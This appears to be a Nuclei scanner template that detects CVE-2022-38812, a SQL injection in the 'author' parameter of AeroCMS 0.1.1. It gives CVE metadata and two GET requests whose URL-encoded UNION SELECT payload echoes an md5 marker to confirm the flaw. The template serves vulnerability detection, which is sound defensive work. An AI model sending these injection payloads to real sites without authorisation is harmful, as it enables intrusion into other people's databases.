CVE-2022-38812: AeroCMS 0.1.1 - SQL Injection

id: CVE-2022-38812

info:
  name: AeroCMS 0.1.1 - SQL Injection
  author: shivampand3y
  severity: medium
  description: |
    AeroCMS 0.1.1 contains a SQL injection caused by unsanitized author parameter, letting attackers execute arbitrary SQL commands, exploit requires crafted author input.
  reference:
    - https://www.exploit-db.com/exploits/51022
    - https://www.nu11secur1ty.com/2022/08/aerocms-v001-sqli.html
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38812
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-38812
    cwe-id: CWE-89
    epss-score: 0.12699
    epss-percentile: 0.93696
  metadata:
    verified: true
    max-request: 2
    vendor: aerocms_project
    product: aerocms
  tags: cve,cve2022,aero,cms,sqli,edb,vuln

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1'
      - '{{BaseURL}}/cms/author_posts.php?author=admin%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}}),1,1),NULL,NULL,NULL,NULL--%20-&p_id=1'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022059e49b86b218ba4fa9847e7ae5aa451509949c396f047143c97c61a67821d64602205c7fd054ab61f9f8196c3f3a94c6617398d58e7a484cebbc2ea160974407d53c:922c64590222798bb761d5b6d8e72950